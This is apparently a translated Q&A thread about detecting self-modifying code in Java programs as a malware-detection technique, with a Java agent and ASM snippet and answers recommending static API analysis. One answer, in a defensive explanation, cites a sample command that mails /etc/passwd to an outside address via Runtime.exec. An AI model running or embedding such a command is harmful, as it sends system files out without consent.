Java操作字节码/程序指令/自修改代码检测



基本上,我试图在java中创建一个恶意软件检测程序来检测自我修改的代码,程序应运行 JAR 文件并确定它是否包含自修改代码

我想这样做的一种方法是,获取.class文件的初始字节码,并将其与正在运行的应用程序文件字节码进行比较,正在运行的.class文件的字节码应该是相同的,并且最初,如果字节码在某个时候不同,则意味着程序修改了自己的结构

问题是如何获取正在运行的应用程序的字节码,我想每 0.1 秒获取一次字节码并将其与初始字节码进行比较。

有没有办法得到它?

我使用 Java 代理和 ASM 尝试了它,但是我只能在程序执行之前获取字节码,而 Java 代理在程序主方法执行之前运行。

 import org.objectweb.asm.ClassReader;
 import org.objectweb.asm.ClassWriter;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class asm {
    //java agent 
    public static void premain(String agentArgs, Instrumentation inst){
    inst.addTransformer(new ClassFileTransformer() {
        @Override
        public byte[] transform(ClassLoader classLoader, /*class name*/String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
            if ("other/Stuff".equals(s)) {
                // ASM Code
                ClassReader reader = new ClassReader(bytes);
                ClassWriter writer = new ClassWriter(reader, 0);
                //ClassPrinter visitor = new ClassPrinter(writer);
                //reader.accept(visitor, 0);
                return writer.toByteArray();
            }
            //else{
                //System.out.println("class not loaded");
            return null;
            //}
        }
    })
}

此代码使用 Java 代理和 ASM,但是我需要知道的是如何在执行应用程序时获取应用程序的字节码。另外,如果有人可以建议一种关于如何在 Java 中识别自我修改代码的不同方法,我将不胜感激

提前致谢

你的问题中有一些基本的误解。首先:

如果您怀疑代码包含恶意软件,请不要运行它!

有一个

研究领域是分析沙箱中恶意软件的行为,但由于这需要谨慎的措施以确保软件不会造成任何伤害,因此应该留给专家,在他们的环境中。

标准恶意软件检测软件的工作原理是在没有(或之前)执行代码的情况下分析代码。这就引出了一个问题,要搜索什么:

恶意软件

不需要包含自我修改代码即可成为恶意软件

恶意软件的特征是执行意外的有害操作,为了使它们产生影响,程序需要在您的计算机上执行I/O或启动其他软件,例如,为了对文件造成损坏,您需要文件 I/O,发送垃圾邮件或攻击其他计算机,您需要网络I/O, 要执行 Java API 未涵盖的操作,您需要加载本机库或启动外部进程。

相反,在 Java 中,修改自己的代码不起作用。修改后的代码不能做原始代码不能做的事,如果修改是即时发生的,它甚至不会对您的计算机环境产生任何持续的副作用。因此,如果尝试修改自己的代码的代码确实是恶意软件,它可以直接执行所需的操作,而无需该间接执行。

除此之外,您反复检查代码的想法注定要失败,因为 JVM 不存储原始字节代码。代码以依赖于实现的方式存储,并针对高效执行进行了优化。因此,当代理通过检测 API 向 JVM 请求类的代码时,它不会返回原始代码,而是返回通过转换回代码的内部形式而创建的等效代码。

以下语句表明了这一点:

初始类文件字节表示传递给ClassLoader.defineClassredefineClasses的字节(在应用任何转换之前),但它们可能不完全匹配。常量池可能不具有相同的布局或内容。常量池可能具有更多或更少的条目。常量池条目的顺序可能不同;但是,方法字节码中的常量池索引将相对应。某些属性可能不存在。如果顺序没有意义,例如方法的顺序,则可能无法保留顺序。

因此,您不能只比较字节数组,而必须解析类文件以对其语义进行建模,并将其与先前解析操作的结果进行比较。因此,将 JVM 的内部代码表示转换为类文件并不是免费提供的,添加它的解析和分析,您希望每 0.1 秒对所有类执行此操作 — 这是一项艰巨的工作。


最后,没有必要这样做。您可以通过启动选项控制将启动哪些代理以及是否可以附加新代理。如果没有未知代理,就不会非法使用检测 API,因此不会修改代码。

由于,为了真正检测恶意软件,需要进行静态代码分析,找出使用了哪些 API(例如 I/O、ProcessBuilder 等),因此也很容易检查检测 API 或ClassLoader的使用情况。除了非标准 API(应始终引发警告标志)之外,这些是将新代码导入 JVM 的唯一可能方法。

更艰巨的工作是找出这些API使用中的哪些是合法的,哪些是恶意软件的真正迹象,并计算未知软件的潜在危险。但这正是挑战,真正的恶意软件检测软件必须接受。

自修改代码在 Java 中是不可能的。最接近的是 Java 代理,但一旦加载了类,字节码就不可变了。无论如何,使用反射进行混淆要容易得多。

修改字节码的最简单方法是通过检测。 这将允许您在加载每个类时监视其字节代码,但无法确定另一个检测代理不会在您之后运行。也就是说,没有办法确定你正在查看最终的字节码。

此外,许多类(包括 lambda 和反射处理程序)都是动态生成的,因此您没有任何"原始"字节代码来比较它们。

作为练习,您可以通过从类装入器获取字节码并进行比较,通过以前的检测代理程序检测类在装入时是否被修改。

拥有恶意软件的一种更简单的方法是通过 Runtime.exec 执行命令

Runtime.exec("mail me@server < /etc/passwd")

您可以通过检查字节代码并防止它执行此操作来检测此行为。

通常,您需要的是一个真正的恶意软件程序,您可以分析然后检测它在做什么。

最新更新